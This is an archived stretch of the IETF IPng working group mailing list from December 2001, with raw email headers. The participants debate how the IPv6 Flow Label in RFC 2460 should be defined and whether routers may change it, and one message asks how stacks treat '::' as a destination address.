(changeofhabit.mr.itd.umich.edu [141.211.144.17]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA02642 for ; Thu, 27 Dec 2001 10:09:56 -0700 (MST) Received: from sgoswamipcl (dsl-65-184-63-5.telocity.com [65.184.63.5]) by changeofhabit.mr.itd.umich.edu (8.9.3/3.2r) with SMTP id MAA12057 for ; Thu, 27 Dec 2001 12:09:55 -0500 (EST) From: "Subrata Goswami" To: Subject: RE: Flow Label Date: Thu, 27 Dec 2001 09:13:52 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <200112271624.fBRGOu414936@newdev.harvard.edu> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk As the flow bits have not been defined well, not used much, not deployed and QoS is all ready handled by both Diffserv and Intsev why not assign a different meaning to these bits which can have implications beyond silicon. One suggestion - rather then assigning flow semantics to the 20 bits, how about assigning a semantics of planes ? In this way the cloud of internet is divided into 4K different planes with traffic from one plane not routed to another plan (in other words immutable bits). The 0x00 plane would be the default best effort Internet. The 0x01 plane would be for say VoIP Internet with MTU let us say 200 etc. The 0x1001 would be for say provider X's autonomous network. etc. Subrata -----Original Message----- From: owner-ipng@sunroof.eng.sun.com [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of Scott Bradner Sent: Thursday, December 27, 2001 8:25 AM To: brian@hursley.ibm.com; perry@wasabisystems.com Cc: ipng@sunroof.eng.sun.com Subject: Re: Flow Label > No, because it's mutable. We need sonmeting that *isn't* mutable > and *does* have semantics for classification. see previous note - I do not see a reason to think that an immutable field will actually be useful for QoS in teh real world Scott -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 09:24:06 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRHO6ZR022008 for ; Thu, 27 Dec 2001 09:24:06 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRHO6Kr022007 for ipng-dist; Thu, 27 Dec 2001 09:24:06 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRHO2ZR022000 for ; Thu, 27 Dec 2001 09:24:03 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA18194 for ; Thu, 27 Dec 2001 09:24:04 -0800 (PST) Received: from mg02.austin.ibm.com (mg02.austin.ibm.com [192.35.232.12]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA23137 for ; Thu, 27 Dec 2001 10:24:58 -0700 (MST) Received: from austin.ibm.com (netmail2.austin.ibm.com [9.3.7.139]) by mg02.austin.ibm.com (AIX4.3/8.9.3/8.9.3) with ESMTP id LAA12788 for ; Thu, 27 Dec 2001 11:32:24 -0600 Received: from porkchop.austin.ibm.com (porkchop.austin.ibm.com [9.53.151.169]) by austin.ibm.com (AIX4.3/8.9.3/8.9.3) with ESMTP id LAA27418 for ; Thu, 27 Dec 2001 11:24:01 -0600 Received: from localhost (lilianf@localhost) by porkchop.austin.ibm.com (AIX5.1/8.11.0/8.11.0-client1.01) with ESMTP id fBRHO1c34274 for ; Thu, 27 Dec 2001 11:24:01 -0600 Date: Thu, 27 Dec 2001 11:24:01 -0600 (CST) From: Lilian Fernandes To: Subject: '::' address as destination Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hello, RFC 2373 states that: "The unspecified address must not be used as the destination address of IPv6 packets or in IPv6 Routing Headers." However it seems that certain stacks are using this address in a different way. When '::' is the destination address: - some use the first available interface's address - some use the loopback address Is there a chance that one of these will become the acceptable norm? It would be interesting to know if the majority of implementations actually return an error for this case. Thanks, _____________________________________________________________________ Lilian Fernandes AIX TCP/IP Development - IBM Austin Tel: 512-838-7966 Fax: 512-838-3509 -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 09:36:44 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRHahZR022039 for ; Thu, 27 Dec 2001 09:36:44 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRHahCR022038 for ipng-dist; Thu, 27 Dec 2001 09:36:43 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRHaeZR022031 for ; Thu, 27 Dec 2001 09:36:40 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA28378 for ; Thu, 27 Dec 2001 09:36:42 -0800 (PST) Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA09386 for ; Thu, 27 Dec 2001 10:36:21 -0700 (MST) Received: from T23KEMPF (dhcp126.docomo-usa.com [172.21.96.126]) by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fBRHaUS12876; Thu, 27 Dec 2001 09:36:30 -0800 (PST) Message-ID: <006f01c18efc$cc055990$7e6015ac@T23KEMPF> From: "James Kempf" To: "Brian E Carpenter" , "Scott Bradner" Cc: References: <200112250049.fBP0n1d08852@newdev.harvard.edu> <3C2B1A46.8A982398@hursley.ibm.com> Subject: Re: Flow Label Date: Thu, 27 Dec 2001 09:34:54 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Brian, Comments embedded. > I have discussed the flow label with product designers. They are ignoring > it because the words in RFC 2460 are fuzzy. Yet the IESG has approved > two standards track documents (RFC 2205 and the diffserv MIB) with > specific uses for the flow label in support of the IETF's two QOS > solutions. > > We've inadvertently set up a situation where no vendor is going > to speak up. > I don't claim to speak for DoCoMo (not a vendor but a service provider anyway), but I do feel there is value in precisely defining the flow label. That IETF standardized usage of the flow label prior to actually defining its semantics precisely seems kind of curious in any event. The alternatives seem to be either define the semantics consistent with the already standardized usage or not. Since the fact that there are standards on the usage seems to indicate that at some point the WGs involved and the IESG felt that there was some value in having the semantics be other than "reserved", it would seem to me to be worthwhile to continue in that vein, unless there is some major argument for shifting direction. I've been peripherially following the flow label discussion since Jochem's original email, but I've not yet seen any major argument for shifting direction, though there have been some good points brought up about deficiencies in the current proposal for defining the flow label. > > > > I find it hard to see why so much time is being spent on this other > > than the fear that idle bits are the devil's playground - i.e. the > > fear of unassigned bits in the header - > > A number of us believe that the above fuzziness and inconsistency > needs to be resolved, one way or the other. > Agreed. > > I'd rather wait until > > we are real sure that 1/ there is one or more use(s) for the FL that > > consensus can be reached on, > > As noted, we've already standardised two... > > > 2/ have some understanding on what the FL > > characteristics are for those uses > > afaik this is the case: locally unique, immutable, and (for intserv) > IANA-assigned as per RFC 3140. > > > > > Over the last few years I have seen suggestions ranging from the original > > idea of ofloading router forwarding engines (hard to justify in an era > > of ASIC-based and network processor-based forwarders, to an ID for the > > owner of the content of a packet, to QoS lables (which are hard to > > diferentiate from difserv code points in teh real world), to billing > > information. None of these have presented a compelling reason to think > > that we understand any FL use well enough to define anything now. > > Disagree. The QOS usages are clear and well-defined. The others are all > pretty dumb. > I have not looked at 2205 or the diffsrv MIB, but if the IANA standardized values you mentioned are independent of protocol and port number, then this would be one way to mitigate the point Scott brought up about the transited network being able to deduce the character of the traffic even if the packet was encrypted, which I view as a potential flaw in using the flow label for classifying encrypted traffic. As one of your previous postings indicated, getting agreement on values for the traffic class field would probably be harder, but perhaps under the pressure of necessity (if the flow field were defined as reserved) it might evolve. I hope we can achieve concensus for the current proposal, and favor it, but if we cannot, then I believe we should define the flow label as reserved, and reissue the two specifications that assign usages of the flow label. jak -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 09:42:10 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRHgAZR022070 for ; Thu, 27 Dec 2001 09:42:10 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRHgAjb022069 for ipng-dist; Thu, 27 Dec 2001 09:42:10 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRHg7ZR022062 for ; Thu, 27 Dec 2001 09:42:07 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA11143 for ; Thu, 27 Dec 2001 09:42:09 -0800 (PST) Received: from zeus.anet-chi.com (zeus.anet-chi.com [207.7.4.6]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA21239 for ; Thu, 27 Dec 2001 09:42:08 -0800 (PST) Received: from IPv16 (as1b-67.chi.il.dial.anet.com [198.92.157.67]) by zeus.anet-chi.com (8.12.1/8.12.0) with SMTP id fBRHfCxG024204; Thu, 27 Dec 2001 11:41:13 -0600 (CST) Message-ID: <01c501c18efe$87b66700$1000a8c0@Unir.com> From: "Jim Fleming" To: "Brian E Carpenter" , "Scott Bradner" Cc: References: <200112271409.fBRE9w714476@newdev.harvard.edu> <3C2B34E4.CC5C3803@hursley.ibm.com> Subject: 5 == Audio - Telephone Quality Date: Thu, 27 Dec 2001 11:47:17 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk ----- Original Message ----- From: "Brian E Carpenter" To: "Scott Bradner" > > > > Scott > > > > (ps - for a data point in the mutability camp, Cisco IP phones are designed > > with two Ethernet jacks, one to connect to the wall jack - the desktop > > machine is to be plugged into the other. The phone clears the DSCP on > > all packets it forwards from the desktop and sets the DSCP to 5 on all > > of its own data packets - I assume to protect the infrastructure from > > applications on the desktop that might overwhelm the net with packets > > marked as high priority) > > Right, and this is a hangover from the days before the EF code point was > assigned, and we were advising experimenters to use Precedence 5 for EF > tests. > > Brian > -------------------------------------------------------------------- If the phone has RIFRAF Routing, then you can ping it and have it go into IPv4++ mode. Also, 5 is for Audio - Telephone Quality 0x55 for Phone to Phone The special 0x0* or 0x*0 codes are for Conference Room exchanges 0000 5 - 0101 Audio - Telephone Quality Individual Microphone 0000 6 - 0110 Audio - CD Quality Stereo Room Speakerphone 5 - 0101 0000 Audio - Telephone Quality Center Speaker 6 - 0110 0000 Audio - CD Quality Stereo Surround Speakers ---- See also Dr. Dobb's Journal - Cover Story on vPC February 1984 - Issue #88 - Page 32. Jim Fleming http://www.IPv8.info IPv16....One Better !! -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 09:43:34 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRHhXZR022087 for ; Thu, 27 Dec 2001 09:43:33 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRHhXJu022086 for ipng-dist; Thu, 27 Dec 2001 09:43:33 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRHhTZR022079 for ; Thu, 27 Dec 2001 09:43:29 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA20176 for ; Thu, 27 Dec 2001 09:43:31 -0800 (PST) Received: from newdev.harvard.edu (newdev.eecs.harvard.edu [140.247.60.212]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA08081 for ; Thu, 27 Dec 2001 10:43:30 -0700 (MST) Received: (from sob@localhost) by newdev.harvard.edu (8.10.2/8.10.2) id fBRHhSJ15258; Thu, 27 Dec 2001 12:43:28 -0500 (EST) Date: Thu, 27 Dec 2001 12:43:28 -0500 (EST) From: Scott Bradner Message-Id: <200112271743.fBRHhSJ15258@newdev.harvard.edu> To: brian@hursley.ibm.com, ipng@sunroof.eng.sun.com Subject: Re: Proposed update to RFC 2460 [was Re: Flow Label] Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk works for me --- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 10:45:19 2001 X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Date: Thu, 27 Dec 2001 16:43:48 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: ipng@sunroof.eng.sun.com Subject: Re: Proposed update to RFC 2460 [was Re: Flow Label] References: <200112262226.fBQMQwi25685@astro.cs.utk.edu> <878zbp8vh7.fsf@snark.piermont.com> <3C2B2103.1B167487@hursley.ibm.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Taking Scott's suggestion, here's another try: I'd like to propose the following as the complete and total replacement of Section 6 of RFC 2460. The 20-bit Flow Label field in the IPv6 header MAY be set by a source to uniquely label sets of packets. Nodes that do not support the Flow Label field MUST set the field to zero when originating a packet, and MUST ignore the field when receiving a packet. All routers MUST pass the field on unchanged when forwarding a packet. This specification does not further define the meaning of the Flow Label. [and delete Appendix A, which is unhelpful.] Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 09:44:10 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRHi9ZR022107 for ; Thu, 27 Dec 2001 09:44:09 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRHi9U2022106 for ipng-dist; Thu, 27 Dec 2001 09:44:09 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRHi6ZR022099 for ; Thu, 27 Dec 2001 09:44:06 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA29268 for ; Thu, 27 Dec 2001 09:44:08 -0800 (PST) Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA18920 for ; Thu, 27 Dec 2001 09:44:07 -0800 (PST) Received: from T23KEMPF (dhcp126.docomo-usa.com [172.21.96.126]) by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fBRHi7S13144; Thu, 27 Dec 2001 09:44:07 -0800 (PST) Message-ID: <008b01c18efd$dc774a80$7e6015ac@T23KEMPF> From: "James Kempf" To: , "Margaret Wasserman" References: <4.2.2.20011227101252.02012d00@mail.windriver.com> Subject: Re: Flow Label Date: Thu, 27 Dec 2001 09:42:31 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Margaret, Given there seems to be so much contention around Tony's proposal, I agree that Scott's minimal definition along with removal of Appendix A is a viable alternative. jak ----- Original Message ----- From: "Margaret Wasserman" To: Sent: Thursday, December 27, 2001 7:28 AM Subject: Re: Flow Label > > Are there any IPv6 router implementations that currently > modify the flow label field in transit? > > If not, I could live with the minimal change that Scott > has proposed below (in the nature of a "bug fix" to > RFC 2460). > > Scott Bradner wrote: > > The 20-bit Flow Label field in the IPv6 header MAY be set by a > > source to uniquely label sets of packets. Nodes that do not support > > the Flow Label field MUST set the field to zero when originating a > > packet, and MUST ignore the field when receiving a packet. All routers > > MUST pass the field on unchanged when forwarding a packet. > > I also agree that Appendix A should be removed (it is just wrong), > but we should NOT attempt to replace it with something that > is more right, given today's QoS mechanisms. > > RFC 2460 shouldn't say anything else on this subject. All other > information should be handled in separate specifications (and > WGs) including: > > - How flow label values are chosen > - The meaning of flow label values > - How flow labels are/aren't interpreted by > intermediate routers and/or end-nodes > - How flow labels can/can't be used to > identify a single flow > > Does that work for everyone? > > Again, does anyone know of any current implementations that this > would break? > > Margaret > > > > > > > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 09:45:12 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRHjCZR022140 for ; Thu, 27 Dec 2001 09:45:12 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRHjB4b022133 for ipng-dist; Thu, 27 Dec 2001 09:45:11 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRHj7ZR022122 for ; Thu, 27 Dec 2001 09:45:07 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA20436 for ; Thu, 27 Dec 2001 09:45:09 -0800 (PST) Received: from newdev.harvard.edu (newdev.eecs.harvard.edu [140.247.60.212]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA00917 for ; Thu, 27 Dec 2001 10:46:01 -0700 (MST) Received: (from sob@localhost) by newdev.harvard.edu (8.10.2/8.10.2) id fBRHj5C15277; Thu, 27 Dec 2001 12:45:05 -0500 (EST) Date: Thu, 27 Dec 2001 12:45:05 -0500 (EST) From: Scott Bradner Message-Id: <200112271745.fBRHj5C15277@newdev.harvard.edu> To: brian@hursley.ibm.com, mrw@windriver.com Subject: Re: Proposed update to RFC 2460 [was Re: Flow Label] Cc: ipng@sunroof.eng.sun.com Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk agree --- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 11:11:09 2001 X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f X-Sender: mrw@mail.windriver.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 27 Dec 2001 11:08:43 -0500 To: Brian E Carpenter From: Margaret Wasserman Subject: Re: Proposed update to RFC 2460 [was Re: Flow Label] Cc: ipng@sunroof.eng.sun.com In-Reply-To: <3C2B41B4.2EF8D01B@hursley.ibm.com> References: <200112262226.fBQMQwi25685@astro.cs.utk.edu> <878zbp8vh7.fsf@snark.piermont.com> <3C2B2103.1B167487@hursley.ibm.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Actually, I would take out the word "uniquely". I am not sure that we want to confine possible QoS solutions to "uniquely" labeling anything. Margaret At 10:43 AM 12/27/01 , Brian E Carpenter wrote: >Taking Scott's suggestion, here's another try: > >I'd like to propose the following as the >complete and total replacement of Section 6 of RFC 2460. > > The 20-bit Flow Label field in the IPv6 header MAY be set by a > source to uniquely label sets of packets. Nodes that do not support > the Flow Label field MUST set the field to zero when originating a > packet, and MUST ignore the field when receiving a packet. All routers > MUST pass the field on unchanged when forwarding a packet. > > This specification does not further define the meaning of the > Flow Label. > > [and delete Appendix A, which is unhelpful.] > > Brian >-------------------------------------------------------------------- >IETF IPng Working Group Mailing List >IPng Home Page: http://playground.sun.com/ipng >FTP archive: ftp://playground.sun.com/pub/ipng >Direct all administrative requests to majordomo@sunroof.eng.sun.com >-------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 09:45:16 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRHjFZR022143 for ; Thu, 27 Dec 2001 09:45:16 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRHjFBN022142 for ipng-dist; Thu, 27 Dec 2001 09:45:15 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRHjBZR022132 for ; Thu, 27 Dec 2001 09:45:11 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA29478 for ; Thu, 27 Dec 2001 09:45:13 -0800 (PST) Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA12179 for ; Thu, 27 Dec 2001 10:44:55 -0700 (MST) Received: from T23KEMPF (dhcp126.docomo-usa.com [172.21.96.126]) by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fBRHjAS13205; Thu, 27 Dec 2001 09:45:10 -0800 (PST) Message-ID: <009501c18efe$0216ca90$7e6015ac@T23KEMPF> From: "James Kempf" To: "Brian E Carpenter" , References: <200112262226.fBQMQwi25685@astro.cs.utk.edu> <878zbp8vh7.fsf@snark.piermont.com> <3C2B2103.1B167487@hursley.ibm.com> <3C2B41B4.2EF8D01B@hursley.ibm.com> Subject: Re: Proposed update to RFC 2460 [was Re: Flow Label] Date: Thu, 27 Dec 2001 09:43:35 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Agree. jak ----- Original Message ----- From: "Brian E Carpenter" To: Sent: Thursday, December 27, 2001 7:43 AM Subject: Re: Proposed update to RFC 2460 [was Re: Flow Label] > Taking Scott's suggestion, here's another try: > > I'd like to propose the following as the > complete and total replacement of Section 6 of RFC 2460. > > The 20-bit Flow Label field in the IPv6 header MAY be set by a > source to uniquely label sets of packets. Nodes that do not support > the Flow Label field MUST set the field to zero when originating a > packet, and MUST ignore the field when receiving a packet. All routers > MUST pass the field on unchanged when forwarding a packet. > > This specification does not further define the meaning of the > Flow Label. > > [and delete Appendix A, which is unhelpful.] > > Brian > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 27 10:10:54 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRIArZR022208 for ; Thu, 27 Dec 2001 10:10:53 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3/Submit) id fBRIArTY022207 for ipng-dist; Thu, 27 Dec 2001 10:10:53 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta3+Sun/8.12.2.Beta3) with ESMTP id fBRIAmZR022200 for ; Thu, 27 Dec 2001 10:10:48 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA23516 for ; Thu, 27 Dec 2001 10:10:51 -0800 (PST) Received: from zok.sgi.com (zok.SGI.COM [204.94.215.101]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA19676 for ; Thu, 27 Dec 2001 11:10:32 -0700 (MST) Received: from cthulhu.engr.sgi.com (cthulhu.engr.sgi.com [192.26.80.2]) by zok.sgi.com (8.11.4/8.11.4/linux-outbound_gateway-1.1) with ESMTP id fBRIAkA31787; Thu, 27 Dec 2001 10:10:46 -0800 Received: from resonanz.engr.sgi.com (resonanz.engr.sgi.com [163.154.5.180]) by cthulhu.engr.sgi.com (SGI-8.9.3/8.9.3) with ESMTP id KAA59878; Thu, 27 Dec 2001 10:10:46 -0800 (PST) Date: 